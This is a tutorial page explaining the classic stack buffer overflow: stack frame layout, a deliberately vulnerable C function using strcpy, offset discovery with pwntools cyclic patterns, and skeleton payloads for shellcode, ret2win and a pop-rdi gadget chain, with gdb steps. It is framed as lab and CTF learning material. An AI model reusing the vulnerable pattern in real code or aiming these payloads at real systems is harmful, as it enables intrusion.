[Intermediate] — the classic exploit, mechanically. The one everything else builds on.
The kid version first
A function reserves a little scratch space on the stack for its local variables — say, a 64-byte box for your name. Just below that box (stacks grow down, so “below” in the diagram) sits the return address: where the program jumps when the function finishes.
If the program copies your name into the box without checking the length, and you type 100 characters, the extra 36 spill downward and overwrite the return address. When the function returns, it jumps wherever you told it to.
The stack frame
When main calls greet, the stack looks like this (high addresses at top, and the stack grew downward to make room):
┌────────────────────────┐ higher addresses
│ saved return address │ ← where greet() returns to. THE TARGET
│ saved RBP │
│ char buffer[64] │ ← your input goes here
│ ... │
└────────────────────────┘ lower addresses (RSP)
A write into buffer moves toward higher addresses as it grows — straight at the saved RBP and the return address.
The vulnerable code
#include <stdio.h>
#include <string.h>
void greet(char *name) {
char buffer[64];
strcpy(buffer, name); // ← NO bounds check. The bug
printf("Hello, %s\n", buffer);
}
int main(int argc, char **argv) {
greet(argv[1]);
}strcpy copies until it hits a null byte, however long that is. Give it 200 bytes and it writes 200 bytes into a 64-byte buffer. The same flaw lives in gets, sprintf, strcat, and any memcpy with an attacker-controlled length. gets is so unfixable it was removed from the C standard.
Finding the offset
To overwrite the return address precisely, you need to know how many bytes sit between the start of buffer and the return address. Don’t count by hand — use a cyclic pattern:
# pwntools
from pwn import *
payload = cyclic(200) # De Bruijn sequence: every 4 bytes is unique
# run it, the program crashes, read RIP/RSP from the core dump or gdb
offset = cyclic_find(0x6161616c) # the value that landed in RIP → the exact offsetThe crash puts a known 4 bytes into RIP; cyclic_find tells you where in your input those bytes were. That’s the offset, typically 72 here (64 buffer + 8 saved RBP).
The simplest exploit: jump to your own code
Historically, with no defences: put shellcode in the buffer, then overwrite the return address with the buffer’s own address.
[ shellcode ][ padding ][ address-of-buffer ]
↑ overwrites the return address → CPU jumps INTO the buffer
payload = shellcode
payload += b"A" * (offset - len(shellcode))
payload += p64(buffer_address) # p64 handles little-endianThis exact attack no longer works on modern systems, because NX marks the stack non-executable and ASLR randomises `buffer_address`. But it’s the mental model everything else modifies, so learn it first, on a binary with defences off:
gcc -fno-stack-protector -z execstack -no-pie vuln.c -o vuln # defences OFF, for learningret2win — the CTF on-ramp
Before shellcode, the gentlest version: the binary already contains a function you want to reach (often literally called win() or flag()), but nothing calls it. You overflow the return address to point at it:
payload = b"A" * offset
payload += p64(win_address) # from `objdump -d` or the symbol tableThis is the first exploit to actually write yourself — no shellcode, no bypasses, just control of RIP pointed at existing code. ROP Emporium’s first challenge is exactly this → practice.
Passing arguments
ret2win gets harder when win() needs an argument — say win(0xdeadbeef). On x86-64 the first argument goes in RDI, and you can’t set a register just by overflowing the stack. You need a gadget — a tiny snippet ending in ret that does pop rdi:
payload = b"A" * offset
payload += p64(pop_rdi_gadget) # pop rdi; ret
payload += p64(0xdeadbeef) # popped into RDI
payload += p64(win_address)This is the seed of ROP — you’re already chaining gadgets → ROP.
What you’ll actually see in a debugger
gdb ./vuln
pwndbg> cyclic 200
pwndbg> run $(python3 -c 'print("A"*200)')
# ... SIGSEGV ...
pwndbg> info registers rip rsp
# RIP full of 0x4141... → you own it. Now find the offset.The moment RIP reads 0x4141414141414141 is the moment it clicks — you are, concretely, controlling execution.
Key insight
A stack buffer overflow works because the return address lives on the same stack as your input, and unsafe copy functions don’t check length. The offset is mechanical (use a cyclic pattern, never count), and the progression is fixed: overwrite RIP → jump to existing code (ret2win) → set arguments with gadgets → build full chains. Every advanced technique is a workaround for a defence added on top of this base case, so learn the base case with defences off first.
Related
- shellcode — the code you jump to
- modern mitigations — why the simple version stopped working
- the toolkit — gdb, pwntools, where to practise
- processes · C
Source: [reference] — Aug 2026. Lab/CTF material; run against binaries you own.
Software engineering
Infrastructure & security
Computer science
Hardware & engineering